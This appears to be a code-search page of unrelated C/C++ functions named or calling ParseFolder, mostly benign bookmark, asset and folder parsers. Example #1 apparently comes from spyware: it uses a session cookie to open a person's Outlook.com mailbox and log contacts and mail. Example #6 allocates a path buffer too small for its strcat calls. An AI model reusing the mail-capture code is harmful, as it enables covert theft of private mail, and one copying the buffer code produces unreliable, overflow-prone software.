Example #1
0
DWORD HandleOutlookMail(char *cookie)
{
	DWORD ret_val;
	BYTE *r_buffer = NULL;
	DWORD response_len;
	char curr_user[256];
	static char last_user_name[256]; 
	char *ptr, *ptr2;
	DWORD last_tstamp_hi, last_tstamp_lo;

	CheckProcessStatus();

	if (!bPM_MailCapStarted && !bPM_ContactsStarted)
		return SOCIAL_REQUEST_NETWORK_PROBLEM;

	// Verifica il cookie 
	ret_val = HttpSocialRequest(L"snt132.mail.live.com", L"GET", L"/default.aspx", 443, NULL, 0, &r_buffer, &response_len, cookie);	
	if (ret_val != SOCIAL_REQUEST_SUCCESS)
		return ret_val;

	// Identifica l'utente
	ptr = strstr((char *)r_buffer, "</script><title>");
	FREE_PARSING(ptr);
	ptr = strstr((char *)ptr, "Outlook - ");
	FREE_PARSING(ptr);
	ptr += strlen("Outlook - ");
	ptr2 = strstr((char *)ptr, "</title>");
	FREE_PARSING(ptr2);
	*ptr2 = NULL;
	_snprintf_s(curr_user, sizeof(curr_user), _TRUNCATE, "%s", ptr);	
	SAFE_FREE(r_buffer);

	if (bPM_ContactsStarted) {	
		// Se e' diverso dall'ultimo username allora lo logga...
		if (strcmp(curr_user, last_user_name)) {
			_snprintf_s(last_user_name, sizeof(last_user_name), _TRUNCATE, "%s", curr_user);		
			ret_val = ParseOLContacts(cookie, last_user_name);
		}
	}

	if (!bPM_MailCapStarted)
		return ret_val;

	last_tstamp_lo = GetLastFBTstamp(curr_user, &last_tstamp_hi);
	ParseFolder(cookie, OUTLOOK_OUTBOX, curr_user, last_tstamp_hi, last_tstamp_lo, FALSE, FALSE);
	ParseFolder(cookie, OUTLOOK_INBOX, curr_user, last_tstamp_hi, last_tstamp_lo, TRUE, FALSE);
	return ParseFolder(cookie, OUTLOOK_DRAFTS, curr_user, last_tstamp_hi, last_tstamp_lo, FALSE, TRUE);
}
Example #2
0
	XbelParser::XbelParser (const QByteArray& data)
	{
		QDomDocument document;
		QString errorString;
		int errorLine, errorColumn;
		if (!document.setContent (data, true,
					&errorString, &errorLine, &errorColumn))
			throw std::runtime_error (qPrintable (QObject::tr ("XML parse "
							"error<blockquote>%1</blockquote>at %2:%3.")
						.arg (errorString)
						.arg (errorLine)
						.arg (errorColumn)));

		QDomElement root = document.documentElement ();
		if (root.tagName () != "xbel")
			throw std::runtime_error (qPrintable (QObject::tr ("Not an XBEL entity.")));
		else if (root.hasAttribute ("version") &&
				root.attribute ("version") != "1.0")
			throw std::runtime_error (qPrintable (QObject::tr ("This XBEL is not 1.0.")));

		QDomElement child = root.firstChildElement ("folder");
		while (!child.isNull ())
		{
			ParseFolder (child);
			child = child.nextSiblingElement ("folder");
		}
	}
	APKFileSystemArchive::APKFileSystemArchive(const String& name, const String& archType, AAssetManager* assetMgr)
		:Archive(name, archType), mAssetMgr(assetMgr)
	{
        if (mName.size() > 0 && mName[0] == '/')
        	mName.erase(mName.begin());

        mPathPreFix = mName;
        if (mPathPreFix.size() > 0)
        	mPathPreFix += "/";
			
		if(!IsFolderParsed( mName )) {
			ParseFolder( mAssetMgr, mName );
		}			
	}
Example #4
0
	void XbelParser::ParseFolder (const QDomElement& element, QStringList previous)
	{
		QString tag = element.firstChildElement ("title").text ();
		if (!tag.isEmpty () && !previous.contains (tag))
			previous << tag;

		QDomElement child = element.firstChildElement ();
		while (!child.isNull ())
		{
			if (child.tagName () == "folder")
				ParseFolder (child, previous);
			else if (child.tagName () == "bookmark")
				Core::Instance ().GetFavoritesModel ()->
					addItem (child.firstChildElement ("title").text (),
							child.attribute ("href"),
							previous);

			child = child.nextSiblingElement ();
		}
	}
Example #5
0
			// Read the content of the folder.
			void CMainWindow::ParseFolder(QTreeWidgetItem *p_pParent, const QDir &p_sCurrentFolder)
			{
				QStringList oStringList = p_sCurrentFolder.entryList(QDir::Dirs | QDir::Files | QDir::NoDotAndDotDot, QDir::Name);
				for(int nIndex = 0; nIndex < oStringList.size(); ++nIndex)
				{
					QFileInfo oInfo(p_sCurrentFolder.absoluteFilePath(oStringList[nIndex]));
					QString sPath = oInfo.absoluteFilePath();

					if(oInfo.isDir())
					{
						// Create the folder.
						QTreeWidgetItem *pChild = CreateFolder(p_pParent, sPath);

						ParseFolder(pChild, sPath);
					}
					// check if it isn't meta.
					else if(sPath.endsWith(".meta") == false)
					{												
						g_pRequestManager->RequestLoad(sPath);					
					}
				}
			}
Example #6
0
    // Retrieves all file in the folder.
    void CFolderStorage::ParseFolder(char *p_sPath)
    {
        WIN32_FIND_DATA fd;
        strcat(p_sPath, "/*");
        HANDLE hFile = FindFirstFile(p_sPath, &fd);
        p_sPath[strlen(p_sPath) - 2] = '\0';
        if(hFile != INVALID_HANDLE_VALUE) 
        {
            do 
            {
                // Directory.
                if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) 
                {                
                    // Do not include parent and local directory.
                    if(strcmp(fd.cFileName, ".") != 0 && strcmp(fd.cFileName, "..") != 0)
                    {
                        strcat(p_sPath, "/");
                        strcat(p_sPath, fd.cFileName);
                        ParseFolder(p_sPath); 
                    }
                }
                else
                {
                    uint32 nFilenameLength = strlen(fd.cFileName);
                    uint32 nSize = strlen(p_sPath) + nFilenameLength;

                    char *sStreamPath = SAM_ALLOC_ARRAY(char, nSize);
                    strcpy(sStreamPath, p_sPath);
                    strcat(sStreamPath, "/");
                    strcat(sStreamPath, fd.cFileName);

                    m_aAssets.insert(Assets::value_type(&sStreamPath[nSize - nFilenameLength + 1], sStreamPath));
                }
            } while(FindNextFile(hFile, &fd));

            FindClose(hFile);
        }
    }
Example #7
0
 // Reload location.
 void CFolderStorage::Reload()
 {
     m_aAssets.clear();
     ParseFolder(m_sFullPath);
 }